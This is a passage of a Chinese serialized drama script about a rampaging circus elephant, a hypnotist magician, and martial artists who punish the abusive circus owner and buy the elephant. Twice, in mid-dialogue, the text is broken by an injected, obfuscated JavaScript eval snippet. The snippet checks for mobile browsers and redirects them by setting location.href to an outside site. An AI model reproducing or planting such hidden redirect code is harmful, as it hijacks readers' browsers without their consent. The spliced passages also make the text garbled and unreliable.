洛宁:堂堂一个欧阳世家的千金,居然还会在乎一张票钱? 欧阳兰兰:是两张! 洛宁:另一张你让翡翠来找我要! 欧阳兰兰:翡翠这段日子一直在生我的气,估计是因为演出没看成的缘故。 洛宁:演出不是每天都有吗?你俩可以再去嘛! 欧阳兰兰:我倒是想,可他不肯了。 洛宁:哦,为何? 欧阳兰兰:还不是因为上次你们扫了他的兴呗! 洛宁:欧阳兰兰,上次的事你也有份,别把什么都推给我和张大哥! 欧阳兰兰:一切都是因你们而起,不是吗?反正今天你要么赔钱,要么…… 洛宁:要么怎样?要不你去县衙里告我?再不行的话,还可以去督察府里告我嘛! 欧阳兰兰:休想跟我耍无赖!这口气,我非出不可! 洛宁:那你慢慢出吧!我还有事,先走了! 洛宁急着往外走,欧阳兰兰上前抓住她,不许她离开,两个人推推搡搡地来到门口,却见银华从那边过来了。 银华:喂,你俩在干嘛呢? 洛宁:这丫头在向我索赔呢! 银华:索赔?索赔什么? 欧阳兰兰:她害得我没看成演出,我要她把票钱赔给我。 银华:什么演出? 欧阳兰兰:茂源城的竞技场里…… 银华:噢,那个呀!我才听人家说,那里的演出被禁了! 洛宁/欧阳兰兰:(意外)被禁了?为何? 银华:好像是昨晚出了点意外。 洛宁:什么意外? 银华:听说是一头正在演出的大象不知为何突然发了疯,冲进了观众席里,当场踩死了一个人。 欧阳兰兰:(吓了一跳)啊?! 银华:不止如此,在场的观众也都慌了,纷纷往外逃去,结果又因为人太多、全堵在了门口,差点儿被挤成了肉饼。唉,伤了不少人呢! 欧阳兰兰:(目瞪口呆)天哪! 洛宁:欧阳兰兰,这下你还想要回你的票钱吗? 欧阳兰兰:宁姐姐,什么都不用说了!我这就派人送一面锦旗去督察府,感谢张督察的救命之恩! 7-31 督察府,张正清的屋子(日,内) 人物:洛宁、张正清 一来到督察府,洛宁便去找张正清。 洛宁:张大哥,昨晚发生在竞技场的事,到底是人为还是意外? 张正清:为何这样问? 洛宁:不是你说去那里是为了办案子吗?难不成这就是你要办的案子? 张正清:你说呢? 洛宁:(撅起嘴)又把问题抛给我,哼! 张正清:我是你的上司,我这样问你,说明我看重你,不好吗? 洛宁:如果事情发生在我们去竞技场的那天晚上,如果你去那里正是为了这个的话,你肯定不会带上我。 张正清:哦,为何? 洛宁:我不会功夫,你怕我拖你的后腿呗! 张正清:你终于肯承认自己没用了呀?哈哈哈! 洛宁:换言之,这就是一场意外。 张正清:事情还没调查清楚,别急着下定论。 洛宁:你怎么不去查? 张正清:熊大人不是已经在查了吗? 洛宁:我想去那里瞧瞧。 张正清:咱们督察府目前尚未插手此事,你去的话不太合适。 洛宁:我以我个人的名义,去拜访一下那位魔术师,总行吧? 张正清:你怎么会对他感兴趣? 洛宁:他会催眠术。 张正清:你最近睡不着觉吗? 洛宁:当初被关押在玉屏山的那些囚犯中,为何没有他? 张正清:他是魔术师,所谓的催眠术只不过是一种障眼法,并非真有本事。 洛宁:那天晚上咱俩亲眼看见他对台下的观众进行催眠…… 张正清:那些观众肯定跟他是一伙儿的。 洛宁:可我听说那头发了疯的大象,最后也是被他用催眠术制伏了。 张正清:(皱起眉头)这个嘛…… 洛宁:怎么解释? 张正清:你去问问他吧! 7-32 天地会总会,延生堂,寒冰的屋子(夜,内) 人物:寒冰、洛宁 灰姑娘似乎挺喜欢寒冰,就爱在他怀里打盹儿。 洛宁:寒冰,昨晚发生在竞技场的事,你听说了吗? 寒冰:有所耳闻,怎么了? 洛宁:那头大象我也见过,看上去十分温顺,为何会突然发了疯? 寒冰:动物跟人一样,也有累的时候。也许是日复一日的演出,让它感到厌烦了。 洛宁:嗯,有可能。那头大象跟那个魔术师一样,是演出团里的明星,从不曾缺席过一场演出。 寒冰:(皱了皱眉头)这种演出,我是从来不看的。 洛宁:因为在你看来,那些动物都不该待在马戏团里,而应该被放归野外才对。 寒冰:没错!你瞧瞧灰姑娘,多自由啊!那些动物也该如此,这是它们的天性。 洛宁:那头大象如今闯了祸,还能继续演出吗? 寒冰:恐怕不能了。 洛宁:他们会怎么处置它? 寒冰:也许会把它卖掉。 洛宁:不如咱们把它买过来。 寒冰:(吓了一跳)丫头,咱们可不是救世主。 洛宁:你嘴上说希望它自由,却又不肯帮它。 寒冰:买过来之后,养在哪里?谁照顾它?这可不仅仅是一桩买卖而已。 洛宁:不如你明天随我一起去瞧瞧吧! 寒冰:灰姑娘怎么办? 洛宁:交给银华呗。 梁州,竞技场 7-33 帐篷(夜,内) 人物:孟悲欢、良宵 孟悲欢睡得正香,却被人轻轻摇醒,他睁开眼睛一看,原来是良宵。 孟悲欢:良宵?(打了个哈欠)你怎么没睡觉呀? 良宵:(小声地)孟先生,娜娜醒了。 孟悲欢:娜娜醒了?那你应该去照顾它,来我这里干嘛? 良宵:孟先生,我想求您帮个忙。 孟悲欢:怎么?娜娜又不听话了吗? 良宵:娜娜很乖,她一直都很听话,昨晚的事只是个意外。 孟悲欢:先不说这个,你来找我干什么? 良宵:孟先生,能不能请你再用催眠术、让娜娜多睡一会儿? 孟悲欢:为何?它如今被关在笼子里,即使醒了,也不会再闯祸了。 良宵:薛老板会罚她,他会木棍捅她的鼻子、用铁钩敲她的头,还会让她饿肚子。 孟悲欢:原来是因为这个。 良宵:我不想她受罚,她的病还没好呢! 孟悲欢:提起这个,我倒想问问你,昨晚我出去之前,明明听你说娜娜病了,怎么又突然让它上场了? 良宵:娜娜确实病了,我没有撒谎,可薛老板不相信,非要让她上场。 孟悲欢:唉,这个薛老板,肯定又是为了钱。 良宵:孟先生,您快去帮帮娜娜吧!求求您了! 孟悲欢:唉,好吧!(飞快地穿上衣裳)咱们走! 梁州,凤凰城 7-34 天地会总会,恩威堂,走廊上(日,外) 人物:顾云飞、银华 顾云飞走出屋子,一眼就看见了院子里那个灰色的小毛团。 顾云飞:(皱起眉头)又是这个家伙!(喊)银华!银华! 银华:(从屋里跑出来)怎么了,老大? 顾云飞:(指着灰姑娘)不是跟你说了别让这家伙来咱们恩威堂吗?快把它赶出去! 银华:宁儿出门去了,托我帮她照顾几日。 顾云飞:所以你就答应了? 银华:不然能怎样? 顾云飞:之前不是一直在托寒冰照顾吗? 银华:寒冰也跟她一起去了。 顾云飞:寒冰也去了?不是为督察府的事? 银华:也是也不是。 顾云飞:什么叫也是也不是?(脚踢银华)臭小子,你就不能好好说话吗? 见银华被踢,灰姑娘不高兴地喵呜了一声。 顾云飞:小样儿!(指着灰姑娘对银华)银华!去把那家伙的嘴堵上!若再让我听见它的叫声,我把你俩搁在一块儿炖了!哼! 无奈之下,银华只好带着灰姑娘,去和敬堂里找金鹏了。 7-35 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:金鹏、余守泰 看见篮子里的灰姑娘,余守泰有些意外。 余守泰:咦!这不是宁姑娘的猫吗?怎么在你这里? 金鹏:宁儿出门去了,我帮她照顾几日。 余守泰: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007410|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' (笑)行呀,鹏子!我不在洛府的这几日,你没少在宁姑娘身上下工夫吧?不然的话,她又怎么会把猫交给你来照顾呢? 金鹏:什么呀!是银华给我的。 余守泰:银华给你的? 金鹏:对呀!宁儿原先把灰姑娘交给他照顾,可顾堂主那边不答应,他没办法,只好送到我这里来了。 余守泰:弄了半天不是宁姑娘给你的呀? 金鹏:不是啊! 余守泰:之前我不是说让你去木兰小院吗?你去了没? 金鹏:去了呀!我每天都去,只可惜…… 余守泰:可惜什么? 金鹏:我每次去,宁儿都有事,我们俩只匆匆地打了声招呼,然后就各忙各的了。 余守泰:各忙各的了?鹏子,你还想不想追求宁姑娘呀? 金鹏:想啊!可不知为何,每次都被这样那样的事情给搅黄了。 余守泰:什么事情能大过宁姑娘? 金鹏:我第一次去的时候,还没跟宁儿说上两句话,青姑娘便来了;第二次去的时候,宁儿跟张督察去了茂源城;第三次去的时候…… 余守泰:得得得,你别往下说了!唉,鹏子呀鹏子!你瞧瞧你,个头儿比我高、长得比我俊,还有一身的好功夫,怎么在男女之事上,就是不开窍呀? 金鹏:我总觉得老天爷好像是故意在这件事上给我使绊子…… 余守泰:人定胜天!感情是两个人之间的事,老天爷管不着!你瞧瞧我,虽然我样样不如你,可在男女之事上,我就是比你强!但凡我看上的女人,没有一个能逃出我的手掌心! 金鹏:可你俩最后成了吗? 余守泰:虽然没成,可我享受了这个过程,不是吗?你不是挺爱画画吗?一张白纸和一张五颜六色的纸,能比吗? 金鹏:我也不想这样,可我也没办法。 余守泰:唉!你呀你,这辈子若是离开了我这个哥哥,绝对一事无成!这样吧,哥哥教你两招! 金鹏:什么? 余守泰:很简单呀!既然跟宁姑娘没缘分,就别再念叨她了,趁自己还年轻,赶紧再找一个呗! 金鹏:这种事情,哪能说变就变呀? 余守泰:你瞧瞧你,又在认死理了!是不是非要等到宁姑娘嫁了人之后,你才会死心呀? 金鹏:我又没这么说。 余守泰:鹏子呀,其实在你身边,并不是只有宁姑娘这么一个好女孩,那个……思思姑娘也挺不错嘛! 金鹏:甜妞儿不是跟黄毅在一起吗? 余守泰:田姑娘呢?人家可是督察府的人,又在京城里当过差…… 金鹏:我跟她没打过几回交道,不算很熟。 余守泰:再不济的话,还有欧阳姑娘呢! 金鹏:(白了他一眼)你觉得她会看上我吗? 余守泰:得得得,我明白了!这些都不合适,还是哥哥我来替你物色一个吧! 金鹏:可我还是喜欢宁儿。 余守泰:我知道,你一时半会儿放不下她。所以,哥哥还帮你想了另一招。 金鹏:什么? 余守泰:你把这只猫养好了,如果能让它黏上你,就算你没空去找宁姑娘,她也会主动来找你。 金鹏:咦,也是啊!(抱起灰姑娘揣进怀里)那我以后就天天抱着它睡觉,不管去哪儿,都把它带上!嘿嘿! 余守泰:唉,真是个傻小子呀! 梁州,翡宁酒庄 7-36 葡萄园(日,外) 人物:翡翠、欧阳兰兰 葡萄秧长势喜人,翡翠的脸上也露出久违的笑容。 欧阳兰兰:翡翠,这下你不生我的气了吧? 翡翠:我生你的气?为何? 欧阳兰兰:那天在竞技场的事,你忘了呀? 翡翠:那件事不怪你。 欧阳兰兰:真的吗?嘻嘻,我就知道你最通情达理了! 翡翠:大象伤人,按理说应该是一桩意外,为何张督察却能未卜先知? 欧阳兰兰:他干这一行久了,自然会比别人多长个心眼儿。 翡翠:又或者,并非是一桩意外? 欧阳兰兰:不是意外是什么?总不至于是人为的吧?那你倒是说说,为何?那头大象可是马戏团的明星,如果它出了什么事,谁还会来看演出呀? 翡翠:那个演出团的名气非常大,不管在哪里都很受欢迎,或许是有人看着眼红呢? 欧阳兰兰:有可能!这就好比宁姐姐,她要是看谁不顺眼儿,肯定不会让那个人好过。 翡翠:(笑着问)她会怎么做? 欧阳兰兰:当然是让那个人当众出丑了,就像那头大象一样。 翡翠:嗯,有些道理。 欧阳兰兰:其实宁姐姐干的坏事可多了,你要是想知道的话,我慢慢讲给你听。 翡翠:好啊! 64. 第七篇 神奇的魔术师 梁州,竞技场 7-37 帐篷(日,内) 人物:孟悲欢、洛宁、寒冰、良宵 一见到洛宁,孟悲欢便笑了起来。 孟悲欢:我记得你!那晚我在台上演出时,你就坐在前排中间的位置上。 洛宁:天哪!那么多人的场合,您居然能一眼认出我,真了不起! 孟悲欢:那是因为姑娘你就像破晓时分的启明星一样,在无边的夜色中显得格外耀眼。 寒冰:孟先生,您是诗人吗? 孟悲欢:我的手里没有笔,只有一根魔术棒。 洛宁:这支魔术棒可比笔厉害多了! 孟悲欢:(哈哈大笑)洛姑娘,你今天来这里,应该不是为了跟我讨论魔术棒和笔哪个更厉害吧? 洛宁:我对您的催眠术非常好奇。 孟悲欢:你想知道些什么? 洛宁:我想亲自试一试。 孟悲欢:亲自试一试? 洛宁:没错,就像那晚的那些观众一样。 孟悲欢:这个嘛…… 洛宁:怎么了? 孟悲欢:洛姑娘,实不相瞒,催眠术只有在天黑之后才能起效。 寒冰:我们可以在天黑之后再过来拜访您。 孟悲欢:真不巧,我今晚有事。 洛宁:那明晚呢? 孟悲欢:我从不去想明天的事,因为我们谁也无法预知,明天和意外,哪个会先到。 寒冰:孟先生,您会功夫吗? 孟悲欢:为何问这个? 寒冰:我敢说,您的太极拳一定打得十分高妙。 虽然明知是嘲讽,孟悲欢却不以为然,依旧呵呵地笑着。就在这时,良宵从那边匆匆奔了过来。 良宵:孟先生!孟先生! 孟悲欢:怎么了? 良宵:您快过去看看吧!薛老板要打娜娜! 孟悲欢:娜娜不是还在睡吗? 良宵:他用棍子把她捅醒了。 孟悲欢:(皱眉)唉!薛老板,您怎么可以对一个小姑娘这般粗鲁呢? 孟悲欢去找薛老板,洛宁和寒冰见状,也跟了过去。 7-38 帐篷(日,内) 人物:孟悲欢、良宵、洛宁、寒冰、薛老板、管家、驯兽师若干 马戏团的帐篷里,娜娜被关在狭小的笼子里,连转身都十分困难,而薛老板正命令手下的驯兽师,用木棍和铁钩,狠命地戳它。 良宵:(冲上去护住娜娜)别打了!别打了!求求你们!别打她了! 薛老板:(一把推开良宵)滚开臭小子!(命令驯兽师)给我继续打! 孟悲欢:(上前劝阻)薛老板,客人还没走呢!您闹出这么大的动静,不怕被人笑话吗? 薛老板:客人?哪里来的客人? 孟悲欢:(指着洛宁和寒冰)这二位便是。 薛老板将洛宁和寒冰打量了一番,见他俩的穿着打扮不似寻常人,这才挤出点笑容,喝令手下停了手。 薛老板:请问二位是…… 孟悲欢:(向薛老板介绍)这位是寒公子,这位是洛姑娘,他们是天地会的人。 薛老板:天地会? 孟悲欢:是沉香国境内最大的武学门派,旗下的弟子皆以武艺见长。 一听说不是什么权贵,薛老板的脸色又变了回去,鼻子里不屑地哼了一声。 薛老板:我当是什么呢?弄了半天不过是一帮武夫而已。(不客气地)你俩来这里,想干什么呀? 寒冰:这头大象看上去像是病了,你为何要打它? 薛老板:你怎么知道它病了?我看它挺好。 寒冰:谁在照顾它? 良宵:是我! 薛老板:(一脚踢开良宵)臭小子!滚一边儿去!这里没你什么事! 寒冰:(问薛老板)既然不是你在照顾,你又怎么知道它没病? 薛老板:这位公子,甭管它有病没病,都跟你没关系!你若有事,不妨直说;若没事,赶紧走人! 寒冰:你若答应不再打它了,我便离开这里。 薛老板:这位公子,你是官府的人吗? 寒冰:不是。 薛老板:既不是官府的人,这件事还轮不到你来管! 薛老板撇开寒冰,又命令手下继续痛打娜娜。寒冰见状,冲上去夺下他们手里的木棍和铁钩,怒喝一声。 寒冰:都给我住手! 手下被震住,薛老板大为光火。 薛老板:(指着寒冰)臭小子,你以为你是谁?若再敢拦着,我连你一起打! 孟悲欢:薛老板,打动物不犯法,打人可就犯法了。 薛老板:臭小子,我再给你最后一次机会,赶紧走人! 寒冰:我说过了,除非你答应不再打它,否则休想我离开这里。 薛老板:这里可是我的地盘,你算老几? 寒冰:你靠这些动物赚钱,却又不肯善待它们,良心不觉得有愧吗? 薛老板:一群畜生而已,我打它们几下又能怎样? 寒冰:你知道这些木棍和铁钩落在它们的身上,是何感觉吗? 薛老板:我再问你最后一遍,你到底走不走? 寒冰:(上前一步)那种滋味,你也该尝尝。 见寒冰神色凛然,薛老板心生畏惧,对手下的驯兽师道。 薛老板:你们几个愣着干嘛?还不快把他撵出去! 驯兽师扑向寒冰,反遭一顿痛打。见寒冰身手不凡,薛老板吓得不轻,赶紧命令管家。 薛老板:管家!快去报官!……(话没说完,人已被寒冰一把揪住)你你你……你想干什么?快放开我! 薛老板试图挣脱,却被寒冰顺着胳膊轻轻一捏,只听咔嚓一声,他的胳膊脱臼了。 薛老板:(发出一声惨叫)啊!疼疼疼!疼死我了! 寒冰:这点儿疼不算什么,你的马戏团平常不也是这样训练动物吗? 寒冰说完,又去捏薛老板的另一只胳膊,又听咔嚓一声,他的另一只胳膊也脱臼了。这下,薛老板叫得更惨了。 薛老板:好汉饶命!好汉饶命!好汉饶命呀! 寒冰:我才捏了你两下,你就疼得受不了了。这些动物在你的马戏团里,天天遭受毒打,它们又该如何忍受? 寒冰说完,又去捏薛老板的两条腿,接连几声咔嚓过后,薛老板的胳膊腿儿全脱了臼,整个人瘫在了地上,疼得说不出话来。就在这时,管家带着官差来了。 官差:怎么回事? 管家:(见薛老板瘫在地上,吓了一跳,急忙上前扶起他)老板,您怎么了?(指着寒冰对官差)是他!是他把我们老板打成了这样!(对着薛老板)老板,您撑着点儿,我这就去给您找大夫! 洛宁:上哪儿去找呀?大夫不就在这里吗? 官差:(一眼认出了洛宁)咦,洛姑娘,你怎么也在这里? 洛宁:胡大哥,你别误会,事情不是他说的那样。 官差:哦,那是怎么回事? 洛宁:(瞅了寒冰一眼)那个……薛老板的骨头断了,我们正打算帮他接上呢! 官差:噢,原来是这样!(对着管家)我说你这个家伙,报官之前,能不能先把事情搞清楚呀?你眼前的这二位,可是顶好的大夫,他们在给你们老板治病,不是在打他,你胡说什么呢?唉,害得我白跑一趟,真是的!(说完便走了) 管家:你们……你们竟然勾结官府?! 洛宁:什么勾结?不过是老熟人罢了! 孟悲欢:唉,所以我刚才说,他们是我们的客人嘛! 管家:孟先生,你怎么可以眼睁睁地看着他们把老板打成这样? 孟悲欢:我也怕挨打呀! 管家:你不是会催眠术吗? 孟悲欢:我被吓迷糊了,忘了咒语该怎么念。 管家:你……唉!老板!您怎么样?要不要紧呀? 孟悲欢:胳膊腿儿都断了,若不尽快医治,下半辈子怕是只能躺在床上了!管家,事不宜迟,你快替薛老板求求这二位大夫吧! 管家:二位大夫,求求你们大人不计小人过,帮我们老板把骨头接上吧! 寒冰:(蹲下身对着薛老板)薛老板,接骨不是什么难事!我能让你倒下去,自然也能让你再站起来。说吧!答应还是不答应? 薛老板虽然疼得直流泪,却还是狠命地点了点头。 管家:我们老板已经答应了,您快救救他吧! 洛宁:嘴上答应不算数,没准儿咱们走了之后,他还会打它呢! 寒冰:那怎么办呢?要不咱们把这头大象也一起带走吧? 洛宁:(吓了一跳)啊?! 寒冰:不是你说想买下它吗? 洛宁:寒冰,这可不是件小事,你要考虑清楚! 寒冰:我已经考虑得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007411|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很清楚了。 洛宁:就算咱们想买,人家也未必肯卖呀! 寒冰:薛老板,这头大象给你闯了那么大的祸,我想你应该不会再留着它了。既如此,不如卖给我们吧! 薛老板又狠命地点了点头。 寒冰:(对着洛宁)他同意了。 洛宁:寒冰,你要不要再问一下爷爷的意见?还有龚叔叔、还有我姐、还有…… 寒冰:家里人太多,等回去之后,再一个一个地慢慢问吧。 洛宁:(见他态度坚决,只好答应了)那……行吧!(指着薛老板)不过寒冰,他这副样子,你让我怎么跟他谈价钱呀? 寒冰:(笑着对薛老板)薛老板,真不好意思!我俩来得匆忙,忘带麻药了。接骨的话,会比刚才更疼些,你要忍一忍哟! 薛老板的惨叫声不绝于耳…… 付了钱之后,洛宁和寒冰辞别了孟悲欢,带着大象返回凤凰城。沿途的百姓,都好奇地围观。 梁州,凤凰城 7-39 天地会总会,延生堂,走廊上(日,外) 人物:洛宁、洛青 娜娜被安置在延生堂里。 洛青:(没好气地)去了一趟茂源城,带回来一头大象,你俩可真壕啊! 洛宁:象鼻子会吸水,延生堂又正好位于北方,把它养在这里,还能替咱们招财呢! 洛青:买它不花钱吗?养它不花钱吗?给它治病不花钱吗? 洛宁:有些东西,花钱还不一定买得到呢! 洛青:什么东西? 洛宁:乐趣呀!这头大象会踢球,你知道吗?等它的病好了,我让寒冰把它带去练武场,跟大伙儿一起踢球。多好啊! 洛青:(白了她一眼)你可拉倒吧!它能不再伤人,我就谢天谢地了!唉! 7-40 天地会总会,恩威堂,顾云飞的屋子(夜,内) 人物:顾云飞、洛宁 顾云飞在泡茶,洛宁的手里拿着一支笔,在纸上飞快地画着。 顾云飞:听说你把那头大象买回来了? 洛宁:我只是随口一说,没想到寒冰居然当真了。 顾云飞:那小子不是个慢性子吗?何时变得这么冲动了? 洛宁:我也是头一回见他这般模样,只用了一番揉捏捶打,便将那个薛老板治得服服帖帖,简直帅呆了!(见他正瞪着自己)当然了!他再怎么帅,也不及顾大堂主您的万分之一! 顾云飞:少拍马屁!要我说,你俩应该把整个马戏团都买下来,这样不就可以老虎狮子、狮子老虎换着玩了吗? 洛宁:你给的钱太少了!若不是看在寒冰的份上,人家薛老板才不会卖得这么便宜呢! 顾云飞:(白了她一眼)照你这种花法,给你一座金山也不够!哼! 洛宁:所以我才请你当我的管家嘛,嘻嘻!嗯,画好了!(把画纸递给他)你瞧瞧,怎么样? 顾云飞:这是谁? 洛宁:那个魔术师。 顾云飞:为何画他? 洛宁:因为我觉得,他的长相虽然不怎么出众,却属于那种只需看一眼、就能牢牢记住的人。 顾云飞:(打趣)不对吧!如果我没记错的话,你看人不是向来只用鼻子嗅、不用眼睛看吗? 洛宁:(撅起嘴)云飞大哥,我不就是认错了你一回吗?你至于到现在还耿耿于怀呀? 顾云飞:我早就忘了,不过你哥倒是记得很清楚。 洛宁:什么意思? 顾云飞:那天早上你错把我当成了他、稀里糊涂地拦腰一抱,我只是被吓了一跳,可你哥的脸,当场就绿了。哈哈哈! 7-41 督察府,洛宁和田佳的屋子(日,内) 人物:张正清、洛宁 见屋里只有洛宁一个人,张正清笑着打趣。 张正清:咦,那头大象呢?怎么没见你把它也带过来? 洛宁:它不是有前科吗?我怕它来了,连临时工都干不了。 张正清:也是啊!它要是能干的话,你不就悬了吗? 洛宁:哼,我明天就递辞呈! 张正清:刚领完薪水就想撂挑子,我不批! 洛宁:可恶! 张正清:小鬼,知道咱们督察府的薪水为何只在月中发放吗? 洛宁:(没好气地)不就是想让我给你白干半个月嘛! 张正清:(笑着点点头)哈哈,说对了! 65. 第七篇 神奇的魔术师 梁州,凤凰城 7-42 洛府,花园(日,外) 人物:余守泰、金鹏 余守泰正在干活儿,金鹏过来给他帮忙。 余守泰:不是说了让你别管这事了吗?你怎么又来了? 金鹏:老大交代的事,我都忙完了,反正闲着也是闲着…… 余守泰:就算是闲着,也不能干这个。 金鹏:哦,为何? 余守泰:你现在的身份跟以前不一样了,若是被人看见你在这里栽花种果,岂不是显得太掉价了? 金鹏:掉什么价呀?之前你不是还让我去木兰小院里给花除草吗? 余守泰:之前去木兰小院,给花除草是假,见宁姑娘才是真。如今宁姑娘回来了,你既然有空,何不去找她玩玩? 金鹏:唉,别提了!我好不容易跟灰姑娘混熟了,她又喜欢上了一头大象,还是天天去找寒冰…… 余守泰:她可以去,你也可以去嘛! 金鹏:我总不能把大象也揣进怀里吧? 余守泰:知道什么叫爱屋及乌吗?她喜欢什么,你也跟着喜欢什么,两个人的共同点多了,在一起的机会自然也就多了。 金鹏:可我看宁儿跟顾堂主也没什么共同点,可他俩却是很投缘。 余守泰:人家顾堂主泡得一手好茶,谁不想尝尝啊? 金鹏:嗯,也是啊!不止是宁儿,连老大也是他的常客呢! 余守泰:顾堂主有好茶,翡翠公子有美酒,你有什么? 金鹏:我…… 余守泰:你若盛开,蝴蝶自来。天底下这么多好儿郎,你若想引起女孩子们的注意,首先要让自己变得出类拔萃才行!以往我劝你多学点儿东西,你总说我贪图名利,如今来到了总会,才知道肚子里的那点儿墨水不够用了吧? 金鹏:我也在努力呀!你看我…… 余守泰:我看你不管用,只有宁姑娘看你才管用!你不是在跟她学画画吗?这也是一个很好的借口,何不用上呢? 金鹏:怎么用? 余守泰:她是老师,你是学生。学生遇上不懂的问题,自然要向老师请教。不是吗? 金鹏:哦,我明白了!我这就去找她! 余守泰:快去吧!(望着金鹏匆匆离开的背影)唉,鹏子呀鹏子!你样样都好,唯独在男女之事上,有点儿笨头笨脑! 7-43 洛府,木兰小院,木兰花树下(日,外) 人物:洛宁、欧阳兰兰、金鹏 欧阳兰兰抿了一口茶,笑着对洛宁道。 欧阳兰兰:宁姐姐,你可真是敢说又敢做呀!那么大的一个家伙,说买就买了,难得见你这般大方! 洛宁:唉,我这不也是被逼上了梁山嘛! 欧阳兰兰:(一副幸灾乐祸的样子)呵呵,谁让你以前老想着坑别人,这下可好,被人坑了吧? 洛宁:(白了她一眼)欧阳兰兰,你要不要去延生堂里看看那头大象呀? 欧阳兰兰:我才不去呢!那家伙虽然只是个畜牲,可毕竟杀过一个人,想想都觉得恐怖! 洛宁:(故意吓唬她)我总觉得延生堂的地方有点儿小,再不行的话,我把它送去葡萄园里,给翡翠做个伴儿。 欧阳兰兰:宁姐姐,奉劝你一句,别没事找事!你若真把它送去了,翡翠非把你骂个狗血淋头不可! 洛宁:欧阳兰兰,你跟翡翠在一起这么久,怎么一点儿也不了解他呀?你何时见过他说脏话?人家可是名门贵公子,哪怕再不高兴,也绝对不会做有失身份的事! 欧阳兰兰:可他跟我说,你是一个例外。 洛宁:什么意思? 欧阳兰兰:意思就是,他可以原谅任何人,唯独不能原谅你。上次的事,他还记着呢,你快去给他赔礼道歉吧! 洛宁:(皱起眉头)又要我哄他?回回都是这样,公主都没他这般矫情!要我说,咱们以后干脆叫他翠娘娘好了! 欧阳兰兰:行呀!等明天见了他,我就这么叫! 洛宁:欧阳兰兰,你是不是想害死我呀? 欧阳兰兰:宁姐姐,不如咱们来打个赌,只要你敢叫他一声翠娘娘,我就给你十两银子。 洛宁:(顿时来了劲儿)十两银子? 欧阳兰兰:对呀!十声百两、百声千两、千声万两,叫多少声给多少银子,上不封顶! 洛宁:这可是你说的,咱们明天就去找他! 金鹏来到木兰小院,远远地就看见了欧阳兰兰,见她与洛宁聊得正欢,他想了想之后,转身走了。 7-44 洛府,花园(日,外) 人物:金鹏、余守泰 见金鹏折返回来,余守泰不解地问。 余守泰:咦,你不是去找宁姑娘了吗?怎么这么快就回来了? 金鹏:欧阳兰兰也在那里,我还改天再去问她吧。 余守泰:(摇头叹)唉,你呀你,我算是明白你为何跟宁姑娘无缘了。 金鹏:为何? 余守泰:脸皮太薄了呗! 梁州,翡宁酒庄 7-45 主屋一楼,餐厅(日,内) 人物:路易、翡翠 路易出诊路过酒庄,顺道来吃了顿饭。 路易:怎么又换了个厨子?上次的那个不好吗? 翡翠:天越来越热,他身上的味儿太重了。 路易:如果我没记错的话,你这个月已经换了六个厨子了,再这样下去,凤凰城里的厨子怕是不够你用了。 翡翠:谁让他们这样那样的毛病太多了呢! 路易:这世上还有你挑不出来毛病的人吗? 翡翠:我花钱雇他们,当然由我说了算。 路易:宁呢?最近来了没? 翡翠:督察府就在医馆旁边,你不会去问问她吗? 路易:一听你这语气,我就知道她没来。要不要我替你传个话儿? 翡翠:传个话儿还是看笑话儿? 路易:(笑望着他)翠儿呀,你何时才肯低下你这颗高贵的头呀? 翡翠:(冷着脸)不会有那么一天,你醒醒吧! 梁州,凤凰城 7-46 天地会总会,延生堂,院子里(夜,外) 人物:洛宁、银华、寒冰 娜娜在寒冰的照料下,逐渐恢复了健康。洛宁和银华只要一有空,就会来看它。 银华:这个大块头,越来越精神了! 洛宁:什么大块头呀?人家跟灰姑娘一样,还是个小姑娘呢! 银华:(忍不住笑了)满身都是褶子,还小姑娘呢! 洛宁剥开一根香蕉,正打算喂给娜娜,却被银华拦住。 银华:喂!你想干什么呀?离它远点儿! 洛宁:别担心!我天天来看她,她已经渐渐认识我了…… 银华:认识了又怎样?谁知道它什么时候…… 洛宁:寒冰都不怕,你怕什么呀?你不是总说他不如你吗? 银华:若论功夫,他确实比我差得远;可对付这种听不懂人话的家伙,还真是非他不可。 洛宁:对呀!那天我们才把娜娜接回凤凰城的时候,她因为在马戏团里受了委屈,对谁都十分抗拒,唯独对寒冰,没有任何戒心,任他怎么摆布都行。我觉得寒冰才是真正的魔术师,这些动物都好像被他催眠了。 银华:你们去的那天,见到那个魔术师了没?他怎么样?是不是很厉害? 洛宁:我有些怀疑,那晚在台上表演魔术的人,根本就不是他。 银华:哦,什么意思? 洛宁:他看上去好像什么都不会,甚至连他们老板被寒冰欺负时,他也不敢出手。 寒冰:(突然出现在二人身后)我欺负他们老板了吗?你可不要冤枉我哟! 银华:你这个家伙,怎么才来呀?我们等你半天了! 寒冰:我正在给娜娜配药呢! 寒冰把药丸裹在香蕉里,喂给娜娜,娜娜很乖地吃了。见旁边有几个瓶子,银华好奇地打开查看。 银华:这里面是什么?(当闻到一股子酸臭味儿时,忙捂住鼻子)唔,臭死了!什么东西? 寒冰:娜娜的鼻涕、口水、尿液和粪便。 银华:啊?! 银华连连作呕,洛宁却哈哈大笑。 洛宁:哈哈哈!幸好你没把它吞下去!哈哈哈! 银华:喂!你收集这些东西干什么呀?不嫌恶心吗? 寒冰:不收集这些东西,我怎么知道她得了什么病呀? 银华:唉!你们这些大夫,真是一个比一个怪呀! 梁州,竞技 